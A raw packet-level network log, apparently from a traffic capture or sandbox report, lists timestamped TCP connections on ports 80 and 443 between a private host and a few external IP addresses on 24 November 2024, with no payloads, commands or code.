Nov 24, 2024 10:24:25.558734894 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.559284925 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.559463024 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.559504032 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.560297966 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.560398102 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.560444117 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.561378002 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.561443090 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.561484098 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.562206030 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.562230110 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.562268019 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.563484907 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.563649893 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.563700914 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.564448118 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.564538002 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.564600945 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.565495014 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.565587044 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.565638065 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.566495895 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.618865967 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.651205063 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.651292086 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.651338100 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.651371002 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.652707100 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.652766943 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.652787924 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.652827978 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.655641079 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.655735970 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.655755043 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.655867100 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.658641100 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.658716917 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.658756971 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.658884048 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.661654949 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.661703110 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.661763906 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.661807060 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.664585114 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.664660931 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.664686918 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.664823055 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.667563915 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.667618036 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.667678118 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.667769909 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.670546055 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.670614004 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.670649052 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.670689106 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.673758030 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.673825979 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.673896074 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.673953056 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.676719904 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.676783085 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.696839094 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.696887970 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.696906090 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.696952105 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.717070103 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.717190981 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.717273951 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.717573881 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.717655897 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.717705011 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.718683004 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.718785048 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.718832970 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.719767094 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.719835997 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.719875097 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.720877886 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.721040964 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.721079111 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.721951962 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.722011089 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.722047091 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.723077059 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.723195076 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.723233938 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.724164963 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.724256992 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.724296093 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.725224018 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.725338936 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.725377083 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.725780010 CET	443	49846	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.726207018 CET	443	49846	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.726262093 CET	443	49846	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.726269960 CET	49846	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.726314068 CET	49846	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.726324081 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.726376057 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.726411104 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.727463007 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.727642059 CET	49846	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.727642059 CET	49846	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.727648973 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.727667093 CET	443	49846	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.727682114 CET	443	49846	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.727689028 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.728507996 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.728673935 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.728712082 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.729628086 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.729717970 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.729758024 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.730730057 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.730962038 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.731002092 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.731801987 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.731992006 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.732028961 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.732897043 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.733000040 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.733064890 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.734108925 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.734159946 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.734195948 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.735105991 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.735166073 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.735203028 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.736169100 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.736331940 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.736372948 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.736385107 CET	49851	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.736407042 CET	443	49851	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.736465931 CET	49851	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.736614943 CET	49851	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.736627102 CET	443	49851	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.737272978 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.737390041 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.737426996 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.738382101 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.738507986 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.738549948 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.739455938 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.739612103 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.739669085 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.740571022 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.740638018 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.740715981 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.741676092 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.741785049 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.741823912 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.742805004 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.742902994 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.742937088 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.743830919 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.743931055 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.743966103 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.744935036 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.745129108 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.745173931 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.746139050 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.746174097 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.746210098 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.747143030 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.747247934 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.747284889 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.748233080 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.748356104 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.748399019 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.749324083 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.749497890 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.749546051 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.750395060 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.750500917 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.750547886 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.751521111 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.751590967 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.751631975 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.752579927 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.752686977 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.752726078 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.753690004 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.753784895 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.753820896 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.754885912 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.755002022 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.755038977 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.755918026 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.756026030 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.756089926 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.757261992 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.757464886 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.757502079 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.758194923 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.758296013 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.758337021 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.759165049 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.759321928 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.759357929 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.760231018 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.760374069 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.760411024 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.761332035 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.761410952 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.761447906 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.762419939 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.762535095 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.762574911 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.763536930 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.763641119 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.763675928 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.764607906 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.764729977 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.764787912 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.765712976 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.765819073 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.765856981 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.766807079 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.766988993 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.767028093 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.767890930 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.768047094 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.768083096 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.769041061 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.769078016 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.769114971 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.770111084 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.770220041 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.770255089 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.771187067 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.771279097 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.771318913 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.772269011 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.772392988 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.772433043 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.773365021 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.773452044 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.773488045 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.774385929 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.822000980 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.862457037 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.862562895 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.862571955 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.862615108 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.863948107 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.864023924 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.864499092 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.864552975 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.864573956 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.864624023 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.867454052 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.867503881 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.867505074 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.867595911 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.869795084 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.869833946 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.869851112 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.869880915 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.872741938 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.872838020 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.872864962 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.872953892 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.875806093 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.875853062 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.875907898 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.875907898 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.878892899 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.878988981 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.879028082 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.879028082 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.881688118 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.881797075 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.881802082 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.882029057 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.884774923 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.884826899 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.884861946 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.884923935 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.887645960 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.887722015 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.887763977 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.887819052 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.890647888 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.890710115 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.907258034 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.907336950 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.907346964 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.907377958 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.919758081 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.919770956 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.919826984 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.920208931 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.920408010 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.920448065 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.921303988 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.921346903 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.921380997 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.922364950 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.922514915 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.922559023 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.923485994 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.923629999 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.923669100 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.924566984 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.924690008 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.924730062 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.925673962 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.925790071 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.925841093 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.926765919 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.926894903 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.926932096 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.927927971 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.928050041 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.928113937 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.928941965 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.929065943 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.929102898 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.930036068 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.930156946 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.930207014 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.931166887 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.931282997 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.931365013 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.932235003 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.932338953 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.932379007 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.933330059 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.933434963 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.933485031 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.934412956 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.934526920 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.934566021 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.935548067 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.935621023 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.935662985 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.936606884 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.936733007 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.936772108 CET	49840	80	192.168.2.5	34.116.198.130
